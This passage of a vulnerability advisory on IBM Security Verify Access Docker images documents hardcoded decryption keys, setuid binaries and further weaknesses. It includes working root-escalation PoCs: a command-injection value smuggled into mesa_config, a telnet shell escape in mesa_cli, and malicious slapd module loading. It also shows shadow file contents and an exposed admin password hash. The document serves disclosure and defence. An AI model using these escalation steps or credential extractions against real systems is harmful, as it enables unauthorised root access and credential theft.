                    49:5c:a1:3c:2c:a3:34:7e:17:ed:57:05:ca:7d:1b:
                    e9:e1:23:29:af:4d:ab:24:5b:2f:10:8b:61:07:97:
                    e3:36:a9:ba:f0:1b:d2:22:b2:ca:f5:c1:7d:ca:9c:
                    8e:61:c6:f1:c0:b4:47:e5:c0:5b:b5:a8:87:10:15:
                    d1:28:fe:71:ba:fb:8e:53:ce:1b:88:51:37:a9:d6:
                    37:2a:0c:a4:c5:b2:ec:cc:0e:b9:44:3c:42:c6:a8:
                    75:61:91:8a:d4:68:26:14:b6:21:0e:8d:95:dc:13:
                    a1:ee:7f:2d:74:9c:48:e8:de:70:11:c8:a9:48:a2:
                    6d:c0:f4:68:bc:aa:c7:2a:f5:78:77:47:92:59:65:
                    b1:2d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            1.3.6.1.4.999999999.999999999.999999999.718375.55524.2.5001: 
                DN.T+L. Z..$.....6B..j.h[i.b-"e&gt;.W...@.m...gV~.L..6..j.)F....`........H.}O4..r...KC.....&amp;bzv.D.6...5..Zx...........wq.5G......b.x}.bQ..~.......%.p.b.&lt;..P.&lt;...$76=...t....O..J.].L..2.(In.A...3...G.E..9..O.........H..U....ih....|07!6.Z6.........`.9.........=
    Signature Algorithm: sha1WithRSAEncryption
    Signature Value:
        bb:0f:22:30:06:39:08:3e:65:e7:67:a2:f7:a0:1a:96:6f:a6:
        75:57:3e:af:b0:64:7d:83:07:47:6c:a3:ce:91:7d:11:94:b5:
        e9:f7:79:74:f0:22:ab:50:c7:49:66:5e:64:0c:63:07:b7:43:
        f2:35:52:e4:2c:cc:c0:1f:b4:ed:2f:18:cb:d3:a0:3c:3f:6d:
        07:88:ad:b6:fe:52:2b:ea:10:0c:9c:0a:f4:04:21:20:95:e9:
        a7:39:e9:6f:f1:83:11:5e:b7:c5:d5:41:f8:d0:4b:bc:a2:d5:
        c6:1b:e0:77:f4:91:f2:1b:23:25:17:42:29:19:3e:ce:4e:39:
        12:e5:29:30:69:6a:fe:47:ba:e6:d8:d5:5e:3c:23:c6:b5:40:
        49:e5:64:7e:69:cc:43:e0:15:ae:f5:dc:d9:8c:27:6f:2e:09:
        25:85:c3:f8:95:44:12:42:6f:c5:d1:e0:41:b2:f0:00:90:2c:
        ea:36:05:1d:df:f3:a3:b6:4f:42:e6:6d:f2:33:bd:9f:ae:3f:
        18:4e:79:08:35:bc:28:15:ac:23:0e:b5:28:23:c2:08:3d:6a:
        39:5d:37:fa:60:13:ef:19:c3:7a:9c:db:f0:19:0c:ac:0d:d0:
        51:b1:1b:ae:22:a4:b7:92:3b:ff:61:a3:0f:1c:6e:52:97:fe:
        2d:65:cb:13
Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker# openssl rsa -in encKey.key -modulus -noout

Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker#
</code></pre>
<p>It is also possible to decrypt the <code>shadow.enc</code> file of a live instance using the hardcoded <code>device_key.kdb</code>:</p>
<pre><code>kali-docker# file shadow.enc                                                                                             
shadow.enc: data
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/lib64:/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64  /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/sbin/isva_decrypt shadow.enc
kali-docker# cat shadow.enc 
root:!!$6$[REDACTED]:19255:0:99999:7:::
bin:*:18367:0:99999:7:::
daemon:*:18367:0:99999:7:::
adm:*:18367:0:99999:7:::
lp:*:18367:0:99999:7:::
sync:*:18367:0:99999:7:::
shutdown:*:18367:0:99999:7:::
halt:*:18367:0:99999:7:::
mail:*:18367:0:99999:7:::
operator:*:18367:0:99999:7:::
games:*:18367:0:99999:7:::
ftp:*:18367:0:99999:7:::
nobody:*:18367:0:99999:7:::
dbus:!!:19115::::::
systemd-coredump:!!:19115::::::
systemd-resolve:!!:19115::::::
tss:!!:19115::::::
postgres:!!:19151::::::
ldap:!!:19151::::::
admin:$6$[REDACTED]:19255:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
isam:!!:19151:1:90:7:::
</code></pre>
<p>An attacker can easily decrypt the encrypted files inside the snapshot files. These snapshots contain an <code>openldap.zip</code> file containing the OpenLDAP configuration, keytabs, passwords, SSL certificates and private keys.</p>
<p>The encryption mechanism, based on hardcoded keys, is ineffective and provides a false assumption of security.</p>
<p><a id="lpe-openldap"></a></p>
<h2>Details - Local Privilege Escalation using OpenLDAP</h2>
<p>It was observed that the official IBM Docker image ibmcom/verify-access contains a Local Privilege Escalation vulnerability.</p>
<p>The binary <code>slapd</code>, used to run OpenLDAP has incorrect permissions, allowing any user to run <code>slapd</code> as root. An attacker can run <code>slapd</code> as root and specify a malicious configuration file that will run code as root.</p>
<p>Using a static analysis, the file system has been extracted and the <code>usr/sbin/slapd</code> program is <code>root:$group</code> and <code>4755</code>:</p>
<pre><code>kali-docker# docker images
REPOSITORY                     TAG        IMAGE ID       CREATED        SIZE
ibmcom/verify-access-runtime   10.0.4.0   498e181d7395   3 months ago   1.07GB
ibmcom/verify-access-wrp       10.0.4.0   c0003aca743c   3 months ago   442MB
ibmcom/verify-access           10.0.4.0   206efdd7809c   3 months ago   1.53GB
ibmcom/verify-access-dsc       10.0.4.0   959f6f1095e9   3 months ago   305MB

kali-docker# ls -la _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
-rwsr-sr-x 1 root user 1916768 Jun  8 01:30 _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
</code></pre>
<p>While checking on a live system, we can confirm the permissions <code>4755</code> (suid bit) are used in the verify-access instance. The owner is <code>root:ivmgr</code>:</p>
<pre><code>[isam@verify-access log]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun  8 13:30 /usr/sbin/slapd
[isam@verify-access log]$
</code></pre>
<p>By default, <code>slapd</code> allows to load external modules (to execute code). These .la files contain information about shared libraries that will be loaded within slapd.</p>
<p>Content of <code>/etc/openldap/slapd.conf</code>:</p>
<pre><code># Load dynamic backend modules:
# modulepath    /usr/lib/openldap
# moduleload    back_bdb.la
# moduleload    back_ldap.la
# moduleload    back_ldbm.la
# moduleload    back_passwd.la
# moduleload    back_shell.la
moduleload syncprov.la
</code></pre>
<p>It is possible to load malicious modules as root using a specific configuration .la file. This will allow a local attacker to get a Local Privilege Escalation as root. For example, we can find a default file that we can change into a malicious file by updating the libdir option to another directory:</p>
<pre><code>kali-docker# cat _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/usr/lib64/openldap/syncprov.la
# syncprov.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6
#
# Please DO NOT delete this file!
# It is necessary for linking the library.

# The name that we can dlopen(3).
dlname='syncprov-2.4.so.2'

# Names of this library.
library_names='syncprov-2.4.so.2.11.4 syncprov-2.4.so.2 syncprov.so'
[...]
# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''

# Directory that this library needs to be installed in:
libdir='/usr/lib64/openldap'
</code></pre>
<p><a id="lpe-rpm"></a></p>
<h2>Details - Local Privilege Escalation using rpm</h2>
<p>The binary npm has incorrect permissions in the ibmcom/verify-access instance, allowing any user to run rpm as root.</p>
<p>Using a static analysis, with the file system that has been extracted - the <code>usr/bin/rpm</code> program is <code>root:root</code> and <code>4755</code>:</p>
<pre><code>kali-extraction-docker# docker images
REPOSITORY                     TAG        IMAGE ID       CREATED        SIZE
ibmcom/verify-access-runtime   10.0.4.0   498e181d7395   3 months ago   1.07GB
ibmcom/verify-access-wrp       10.0.4.0   c0003aca743c   3 months ago   442MB
ibmcom/verify-access           10.0.4.0   206efdd7809c   3 months ago   1.53GB
ibmcom/verify-access-dsc       10.0.4.0   959f6f1095e9   3 months ago   305MB

kali-extraction-docker# ls -la ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm 
-rwsr-sr-x 1 root root 21336 Apr  5 14:38 ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm
</code></pre>
<p>While checking on a live system, we can confirm the permissions <code>4755</code> (suid bit) are used in the verify-access docker image. The file belongs to <code>root:root</code>:</p>
<pre><code>[isam@verify-access /]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr  6 02:38 /usr/bin/rpm
[isam@verify-access /]$ /usr/bin/rpm
RPM version 4.14.3
Copyright (C) 1998-2002 - Red Hat, Inc.
This program may be freely redistributed under the terms of the GNU GPL

Usage: rpm [-afgpcdLAlsiv?] [-a|--all] [-f|--file] [--path] [-g|--group] [-p|--package] [--pkgid] [--hdrid] [--triggeredby] [--whatconflicts] [--whatrequires] [--whatobsoletes] [--whatprovides] [--whatrecommends]
        [--whatsuggests] [--whatsupplements] [--whatenhances] [--nomanifest] [-c|--configfiles] [-d|--docfiles] [-L|--licensefiles] [-A|--artifactfiles] [--dump] [-l|--list] [--queryformat=QUERYFORMAT] [-s|--state]
        [--nofiledigest] [--nofiles] [--nodeps] [--noscript] [--allfiles] [--allmatches] [--badreloc] [-e|--erase=&lt;package&gt;+] [--excludedocs] [--excludepath=&lt;path&gt;] [--force] [-F|--freshen=&lt;packagefile&gt;+] [-h|--hash]
        [--ignorearch] [--ignoreos] [--ignoresize] [--noverify] [-i|--install] [--justdb] [--nodeps] [--nofiledigest] [--nocontexts] [--nocaps] [--noorder] [--noscripts] [--notriggers] [--oldpackage] [--percent]
        [--prefix=&lt;dir&gt;] [--relocate=&lt;old&gt;=&lt;new&gt;] [--replacefiles] [--replacepkgs] [--test] [-U|--upgrade=&lt;packagefile&gt;+] [--reinstall=&lt;packagefile&gt;+] [-D|--define='MACRO EXPR'] [--undefine=MACRO] [-E|--eval='EXPR']
        [--target=CPU-VENDOR-OS] [--macros=&lt;FILE:...&gt;] [--noplugins] [--nodigest] [--nosignature] [--rcfile=&lt;FILE:...&gt;] [-r|--root=ROOT] [--dbpath=DIRECTORY] [--querytags] [--showrc] [--quiet] [-v|--verbose]
        [--version] [-?|--help] [--usage] [--scripts] [--setperms] [--setugids] [--setcaps] [--restore] [--conflicts] [--obsoletes] [--provides] [--requires] [--recommends] [--suggests] [--supplements]
        [--enhances] [--info] [--changelog] [--changes] [--xml] [--triggers] [--filetriggers] [--last] [--dupes] [--filesbypkg] [--fileclass] [--filecolor] [--fileprovide] [--filerequire] [--filecaps]
[isam@verify-access /]$
</code></pre>
<p>An attacker can run rpm as root to add or remove any package in the system, providing a full root access.</p>
<p><a id="lpes"></a></p>
<h2>Details - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes</h2>
<p>It was observed that the official IBM Docker ibmcom/verify-access image contains several binaries with incorrect permissions (<code>4755</code> - suid bit, with <code>root:root</code> or <code>root:ivmgr</code> as ownership) allowing any local user to run these programs as root: </p>
<ul>
<li>/opt/PolicyDirector/bin/pdmgrd</li>
<li>/opt/pdweb/bin/webseald</li>
<li>/usr/bin/rpm</li>
<li>/usr/sbin/slapd</li>
<li>/usr/sbin/mesa_config</li>
<li>/usr/sbin/mesa_cli</li>
<li>/usr/sbin/mesa_control</li>
<li>/usr/sbin/mesa_lcd</li>
<li>/usr/sbin/mesa_stats</li>
</ul>
<p>Binaries with the suid bit:</p>
<pre><code>[isam@verify-access]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun  8 13:30 /usr/sbin/slapd
[isam@verify-access]$ ls -la /usr/sbin/mesa_lcd
-rwsr-xr-x 1 root root 57240 Jun  8 13:29 /usr/sbin/mesa_lcd
[isam@verify-access]$ ls -la /usr/sbin/mesa_control
-rwsr-xr-x 1 root root 98448 Jun  8 13:29 /usr/sbin/mesa_control
[isam@verify-access]$ ls -la /usr/sbin/mesa_config
-rwsr-sr-x 1 root root 2975680 Jun  8 13:29 /usr/sbin/mesa_config
[isam@verify-access]$ ls -la /usr/sbin/mesa_stats
-rwsr-xr-x 1 root root 11176 Jun  8 13:13 /usr/sbin/mesa_stats
[isam@verify-access]$ ls -la /usr/sbin/mesa_cli
-rwsr-xr-x 1 root root 436160 Jun  8 13:29 /usr/sbin/mesa_cli
[isam@verify-access]$ ls -la /usr/bin/rpm
-rwsr-sr-x 1 root root 21336 Apr  6 02:38 /usr/bin/rpm
[isam@verify-access]$ ls -la /opt/PolicyDirector/bin/pdmgrd
-r-sr-sr-x 1 root ivmgr 32040 Jun  8 13:30 /opt/PolicyDirector/bin/pdmgrd
[isam@verify-access]$ ls -la /opt/pdweb/bin/webseald
-r-sr-s--- 1 root ivmgr 29296 Jun  8 13:30 /opt/pdweb/bin/webseald
[isam@verify-access]$ ls -la /opt/dsc/bin/dscd
-r-sr-s--- 1 ivmgr ivmgr 24264 Jun  8 13:30 /opt/dsc/bin/dscd
</code></pre>
<p>Four trivial Local Privilege Escalations were found using the suid bit. Some additional LPEs may also exist in these programs. Trivial LPEs can be found everywhere in the mesa_* programs.</p>
<p>An attacker can get Local Privilege Escalations as root inside instances based on the ibmcom/verify-access image.</p>
<p>The code of <code>mesa_*</code> programs contains several trivial vulnerabilities due to the use of the <code>MesaSystem</code> function (and its derivatives) found in the <code>libwsmesa.so</code> library. This function is an insecure wrapper to the <code>execv()</code> function using the arguments <code>/bin/sh -c</code> and attacker-controlled values. The use of <code>/bin/sh -c</code> allows command injections.</p>
<p><img alt="" src="images/2024-isva-libwsmesa-MesaSystemF.png" /></p>
<p><a id="lpe-mesa_config-snapshot"></a></p>
<h2>Details - Local Privilege Escalation using mesa_config - import of a new snapshot</h2>
<p>The <code>mesa_config</code> program allows importing a new snapshot. This allows an attacker to get a Local Privilege Escalation as root by importing a new snapshot:</p>
<p><img alt="" src="images/2024-isva-mesa_config.png" /></p>
<p>The function <code>MainApplySnapshot</code> will install the new malicious snapshot as root:</p>
<p><img alt="" src="images/2024-isva-mesa_config-snapshot.png" /></p>
<p><a id="lpe-mesa_config-cmd-injection"></a></p>
<h2>Details - Local Privilege Escalation using mesa_config - command injections</h2>
<p>Exploiting the <code>fips_zeroize_files</code> option in the <code>mesa_config</code> program will provide a root access.</p>
<p><img alt="" src="images/2024-isva-mesa_config-zero-lpe.png" /></p>
<p>The following PoC will provide root privileges inside the current instance:</p>
<pre>
[isam@verify-access /]$ id
uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$ cat /tmp/test.sh 
#!/bin/sh
id > /tmp/id-2

[isam@verify-access /]$ ls -la /tmp/id-2
ls: cannot access '/tmp/id-2': No such file or directory
[isam@verify-access /]$ /usr/sbin/mesa_config fips_zeroize_files "AAAAAAAAAAAAAAAAAAAAAAAA;/tmp/test.sh"
[isam@verify-access /]$ ls -la /tmp/id-2
<font color=red>-rw-rw-r-- 1 root root 102 Oct 13 21:32 /tmp/id-2</font>
[isam@verify-access /]$ cat /tmp/id-2
<font color=red>uid=0(root)</font> gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$
</pre>

<p><a id="lpe-mesa_cli-snapshot"></a></p>
<h2>Details - Local Privilege Escalation using mesa_cli - import of a new snapshot</h2>
<p>The main_cli program is also vulnerable to LPE. This tool allows managing the instance from any user:</p>
<pre><code>[isam@verify-access]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access&gt; help
Current mode commands:
diagnostics           Work with the IBM Security Verify Access diagnostics.
extensions            List and remove extensions installed on the appliance.
fips                  View FIPS 140-2 state and events.
fixpacks              Work with fix packs.
isam                  Work with the IBM Security Verify Access settings.
license               Work with licenses.
lmi                   Work with the local management interface.
lmt                   Work with the license metric tool.
management            Work with management settings.
pending_changes       Work with the IBM Security Verify Access pending
                      changes.
snapshots             Work with policy snapshot files.
support               Work with support information files.
tools                 Work with network diagnostic tools.
Global commands:
back                  Return to the previous command mode.
exit                  Log off from the appliance.
help                  Display information for using the specified command.
reload                Reload the container configuration.
shutdown              End system operation and turn off the power.
state                 Display the current state of the container.
top                   Return to the top level.
verify-access&gt; snapshots
verify-access:snapshots&gt; help
Current mode commands:
apply                 Apply a policy snapshot file to the system.
create                Create a snapshot of current policy files.
delete                Delete a policy snapshot file.
get_comment           View the comment associated with a policy snapshot file.
list                  List the policy snapshot files.
set_comment           Replace the comment associated with a policy snapshot
                      file.
Global commands:
back                  Return to the previous command mode.
exit                  Log off from the appliance.
help                  Display information for using the specified command.
reload                Reload the container configuration.
shutdown              End system operation and turn off the power.
state                 Display the current state of the container.
top                   Return to the top level.
verify-access:snapshots&gt; exit
[isam@verify-access /]$
</code></pre>
<p>The <code>apply</code> command inside the snapshots menu allows an attacker to install a new malicious snapshot as root and get a Local Privilege Escalation.</p>
<p><a id="lpe-mesa_cli-telnet"></a></p>
<h2>Details - Local Privilege Escalation using mesa_cli - telnet escape shell</h2>
<p>Another LPE was found using the telnet client available within <code>mesa_cli</code>: it is possible to escape the telnet client using the <code>^]</code> keys and get a shell as root:</p>
<pre><code>[isam@verify-access /]$ id
uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
[isam@verify-access /]$ mesa_cli
Welcome to the IBM Security Verify Access appliance
Enter "help" for a list of available commands
verify-access&gt; tools
verify-access:tools&gt; telnet test-server01.lan 22
Trying 10.0.0.14...
Connected to test-server01.lan.
Escape character is '^]'.
SSH-2.0-OpenSSH_8.0
^]
telnet&gt; !sh
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)
sh-4.4# touch /tmp/pwned-root
sh-4.4# exit
exit
^]
telnet&gt; q
Connection closed.
verify-access:tools&gt; exit
[isam@verify-access /]$ ls -la /tmp/pwned-root
-rw-r--r-- 1 root root 0 Oct 13 22:21 /tmp/pwned-root
[isam@verify-access /]$
</code></pre>
<p>The <code>sub_410330</code> function will <code>execv()</code> telnet through the <code>MesaSpawn</code> function:</p>
<p><img alt="" src="images/2024-isva-mesa_cli-telnet-lpe.png" /></p>
<p><a id="outdated-openssl"></a></p>
<h2>Details - Outdated OpenSSL</h2>
<p>It was observed that all the official IBM Docker images (ibmcom/verify-access-runtime, ibmcom/verify-access-wrp, ibmcom/verify-access and ibmcom/verify-access-dsc) contain the outdated OpenSSL package openssl-1.1.1k-6.el8_5.x86_64. This package contains several vulnerabilities that were patched in August 2022.</p>
<p>At the time of the analysis (28 October 2022), these vulnerabilities were patched by Red Hat but the official IBM Docker images were still vulnerable.</p>
<p>Analysis of the libssl.so.1.1.1k files found in the 4 Docker images:</p>
<pre><code>kali-docker# sha256sum **/libssl.so.1.1.1k                                                                                                       
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10  _verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10  _verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10  _verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k
2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10  _verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k

kali-docker# strings ./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k|grep 1.1.1
OPENSSL_1_1_1
OPENSSL_1_1_1a
OpenSSL 1.1.1k  FIPS 25 Mar 2021
libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.debug
</code></pre>
<p>We can confirm the OpenSSL version is provided by the package libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.</p>
<p>The security announcement from Redhat patching vulnerabilities in the version libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64 is <a href="https://access.redhat.com/errata/RHSA-2022:5818">RHSA-2022:5818-01</a>.</p>
<p>The packages patching the vulnerabilities are:</p>
<ul>
<li>openssl-1.1.1k-7.el8_6.x86_64.rpm</li>
<li>openssl-debuginfo-1.1.1k-7.el8_6.i686.rpm</li>
<li>[...]</li>
</ul>
<p>With access to live systems, we can confirm that the patches have not been applied and the systems are still vulnerable:</p>
<pre><code>[root@container-01]# podman ps
CONTAINER ID  IMAGE                                                                        COMMAND               CREATED      STATUS                    PORTS                             NAMES
413823e2f7d1  ibmcom/verify-access/10.0.4.0:20220926.6                                4 hours ago  Up 4 hours ago (healthy)  0.0.0.0:7443-&gt;9443/tcp            verify-access
a2142514d831  ibmcom/verify-access-runtime/10.0.4.0:20220926.6                        4 hours ago  Up 4 hours ago (healthy)  0.0.0.0:9443-&gt;9443/tcp            verify-access-runtime
e0c55b6440cf  ibmcom/verify-access-dsc/10.0.4.0:20220926.6                            4 hours ago  Up 4 hours ago (healthy)  0.0.0.0:8443-8444-&gt;8443-8444/tcp  verify-access-dsc
[root@container-01]# for i in 413823e2f7d1 a2142514d831 e0c55b6440cf; do podman exec -it $i bash -c 'rpm -qa|grep -i openssl';echo;done
openssl-1.1.1k-6.el8_5.x86_64
openssl-libs-1.1.1k-6.el8_5.x86_64
apr-util-openssl-1.6.1-6.el8.x86_64

openssl-libs-1.1.1k-6.el8_5.x86_64

openssl-libs-1.1.1k-6.el8_5.x86_64
openssl-1.1.1k-6.el8_5.x86_64
</code></pre>
<p>The official Docker images contain known vulnerabilities.</p>
<p><a id="permitrootlogin"></a></p>
<h2>Details - PermitRootLogin set to yes</h2>
<p>It was observed that the configuration file <code>/etc/sysconfig/sshd-permitrootlogin</code> will allow the connection from root in the Docker images:</p>
<pre><code>kali-docker# find . | grep sshd-permitrootlogin
./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/etc/sysconfig/sshd-permitrootlogin
./_verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
./_verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin
kali-docker# cat */*/etc/sysconfig/sshd-permitrootlogin
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
# This file has been generated by the Anaconda Installer.
# Allow root to log in using ssh. Remove this file to opt-out.
PERMITROOTLOGIN="-oPermitRootLogin=yes"
</code></pre>
<p>If a SSH server was installed inside the instances, it would be then possible to login as root.</p>
<p><a id="cluster-no-password"></a></p>
<h2>Details - Lack of password for the <code>cluster</code> user</h2>
<p>It was observed that the <code>cluster</code> user in the Docker image verify-access does not have a password defined in the <code>/etc/shadow</code> file:</p>
<pre><code>kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/passwd | grep cluster
cluster:x:5003:1006::/home/cluster:/usr/sbin/wga_clustersh

kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow | grep cluster        
cluster::19151:0:99999:7:::

kali-docker# john --show _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow         
admin:admin:19151:0:99999:7:::
cluster:NO PASSWORD:19151:0:99999:7:::

2 password hashes cracked, 0 left
</code></pre>
<p>In the live environment, it was confirmed that the user <code>cluster</code> does not have a password in the <code>verify-access</code> instance:</p>
<pre><code>[root@test-server 5ecd09e2d7bb10f3bec5b6be4c2298d6bdb54b70a75ce67944651b6b5330821e]# cat ./merged/etc/shadow | grep cluster
cluster::19151:0:99999:7:::
</code></pre>
<p>If a SSH server was installed inside the instances, it would be then possible to login as cluster without a password.</p>
<p>A user with a local access can get <code>cluster</code> privileges.</p>
<p><a id="644-passwd-files"></a></p>
<h2>Details - Non-standard way of storing hashes and world-readable files containing hashes</h2>
<p>It was observed that passwords are saved in 3 non-standard files in the Docker image verify-access:</p>
<ul>
<li><code>/etc/shadow.isam</code></li>
<li><code>/etc/admin.pwd</code></li>
<li><code>/etc/wga_notifications.conf</code></li>
</ul>
<p>Furthermore, the <code>/etc/shadow.isam</code> and <code>/etc/wga_notifications.conf</code> files are world-readable.</p>
<p>When extracting verify-access, we can find the <code>/etc/shadow.isam</code> file:</p>
<pre><code>kali-docker# cat ./698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
</code></pre>
<p>When checking on the live system (verify-access), we can find these 3 previous files, 2 of which are world-readable:</p>
<pre><code>[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1  ibmcom/verify-access/10.0.4.0:20220926.6                         7 hours ago  Up 7 hours ago (healthy)  0.0.0.0:7443-&gt;9443/tcp            verify-access
[root@container-01]#

[root@container-01]# podman ps|grep 413823e2f7d1
413823e2f7d1  ibmcom/verify-access/verify-access/10.0.4.0:20220926.6                         25 hours ago  Up 25 hours ago (healthy)  0.0.0.0:7443-&gt;9443/tcp            verify-access
[root@container-01]# podman exec -it  413823e2f7d1 ls -la /etc/wga_notifications.conf /etc/shadow.isam /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
-rw-r--r-- 1 root root 305 Jun  8 13:43 /etc/shadow.isam
-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]#
</code></pre>
<p>Furthermore, we can extract passwords from these files. The hash in <code>/etc/shadow.isam</code> seems to be hardcoded (<code>admin</code>):</p>
<pre><code>[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/shadow.isam
admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::

[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/admin.pwd
-rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/admin.pwd
[REDACTED]

[root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf
